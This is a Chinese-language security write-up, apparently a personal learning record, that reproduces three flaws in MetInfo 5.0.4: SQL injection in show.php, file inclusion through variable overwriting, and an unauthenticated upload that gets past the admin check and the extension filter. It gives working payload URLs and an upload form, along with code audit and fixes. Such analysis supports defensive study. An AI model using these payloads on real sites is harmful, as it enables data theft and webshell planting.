metinfo5.0.4 RCE
background
某次线下赛遇见的,然后就想着复盘一下。版本是metinfo5.0.4,我找这个版本找了老一会,后面别人跟我说5.0.4这个版本是4.0升级上去的,所以先装4.0再装5.0.4。
https://www.metinfo.cn/faq/1519.html
此文没任何技术含量,我太菜了,就仅仅是做个学习记录。
前台sql注入漏洞
sqlmap命令
python sqlmap.py -u "http://metinfo.com/about/show.php?lang=cn&id=15" --dbs --batch |
exp
lang=cn&id=-2506 UNION ALL SELECT 68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,CONCAT(0x7170706b71,0x6a58425864747852627a625169766a5643464650676e7170775871566e59585279484263744f496c,0x71716b7871),68,68,68,68,68,68-- |
mysql开启日志记录
SHOW VARIABLES LIKE 'general_log%' //查看日志是否开启和保存位置 |
代码审计
查看show.php
get_one()
是执行sql查询的函数
okinfo
相当于一个输出函数
这里的id既可get传也可以POST传,但我没找到在哪里接收的,我全局搜索了$_GET[
,$_POST[
,$_REQUEST[
都没有发现相关的信息,能力不行,看来还是得学会动态调试。
来看具体逻辑,在数据库里查了东西之后看isshow
字段是否为假
,假的直接404
然后就是些用三元运算符赋值之类的东西,又新包含了个文件
contentshow
这些函数就是用来做输出的
很简单的一个注入,没啥过滤的点,那为啥我要写那么多呢?是我照着sqlmap的东西就做不出来
这样子理论上没任何问题啊
http://metinfo.com/about/show.php?lang=cn&id=-2506 UNION ALL SELECT 68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68-- |
后面发现回显的地方在引入的js文件名了
http://metinfo.com/about/show.php?lang=cn&id=-2506 UNION ALL SELECT 68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,CONCAT(0x7171787071,0x4977416b765766524441496769454749566d687254576e74504f69556e76687156444465624e4b42,0x716b787871),68,68,68,68,68,68-- |
这个字段对应的就是授权访问的信息
所以要为0才行,不能直接用数字,用NULL
也是可以的,所以以后注入union select 1,2,3的时候尽量先用NULL
试水
这一部分对应的后端代码
但是用函数查东西是没啥问题的
主页明明有回显,所以
http://metinfo.com/about/show.php?lang=cn&id=-2506 UNION ALL SELECT 68,68,68,68,68,68,68,68,68,68,68,68,68,(select user()),68,68,68,68,68,68,(select user()),68,68,68,68,68,68-- |
漏洞修复
这个就很简单了,这个参数肯定是数字,转int就行了
$id=intval($id); |
搞定
前台任意文件包含
exp
http://metinfo.com/about/index.php?fmodule=7&module=c:\\windows\\win.ini |
代码审计
直接到页面把变量输出,看看是啥值
包含了show.php
,所以上面的注入也可以在这个页面打
漏洞产生点在
index.php
→require_once '../include/module.php'
→require_once 'common.inc.php'
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { |
这段代码的意思就是注册所有变量,把这三个超全局变量全部注册成普通变量,举个例子:
在这里$flag
已经写死了
但是由于存在注册变量的那段代码,我们可以注册个flag变量来达到覆盖原先变量的效果
但是在这里并不能直接修改$module
的值来达到变量覆盖的效果,因为$module
是在module.php
中生成的
而存在漏洞的common.inc.php
在一开始就被包含执行了
也就是说这里我们传入的$module
确实写入了,但是module.php
又重新赋值了
这里在最后再注册一次变量
就可以了,这里证明上面的推断是正确的
回到这个例子中,我们只需要module.php
文件不对$module
函数进行操作就行了
当$fmodule
不等于7时就会进行操作,那么我们让$fmodule
等于7就行了,就不会执行这段操作了
最终poc
http://metinfo.com/about/index.php?fmodule=7&module=c:/windows/win.ini |
漏洞修复
不知道怎么修最好,我这里直接给他写死了,但是不知道会不会影响其他业务之类的,或者在上面加个过滤去过滤fmodule
和module
都是可以的
前台任意文件上传
poc
<form action="http:/IP/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp" |
直接传马即可,关于这个表单我记住了,以后POST表单我也都记住了是method
不是而不是metmod
,写成metmod
是没啥作用的,还有这个name
也要是Filedata
。可能这是个很蠢的问题,但是以前的我真不知道,我以为随便拿个表单就能传,确实是底子不扎实。
代码审计
这跟上面一样的,又是变量覆盖
可以自由注册变量
这里首先要符合这个条件,不然就直接die了
追踪一下这两个变量,看样子是从session里面获取的
正常来说这里是死的,我们干预不了的
但是有变量注册的话我们可以注册变量
接着这里是对用户身份的校验,不通过就直接die了
这里是管理员表的结构
这里的$met_admin_table
也是我们可以控制的,所以我们只要使这个语句结果为真就行了,随便查一个表然后截断就行了。
http://metinfo.com/admin/include/uploadify.php?metinfo_admin_id=14&metinfo_admin_pass=2&met_admin_table=mysql.user%23 |
接下来就是上传文件了,这里都写了注释,很明了,这里是直接调用了upfile
这个类中的upload
方法
找这个类,就在upfile.class.php
中
找upload方法
跟copyfile,可以看到这里过滤了一些脚本文件名称,但只过滤一次,双写一下就行了
得exp
http://metinfo.com/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp |
这里的方法都是可以用的,都是调用相同的函数处理的
<form action="http://metinfo.com/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=metico&met_file_format=jpg|pphphp" |
没问题
漏洞修复
这个好办,直接限制死后缀就行,不管他怎么处理
后面的洞不管,之前在前面截胡了,不是白名单就die
if((strtolower( $this->ext) == "jpg" || strtolower( $this->ext ) == "jpeg" || strtolower( $this->ext ) == "png")){ |
这样子应该是没什么问题了,当然,变量覆盖依旧存在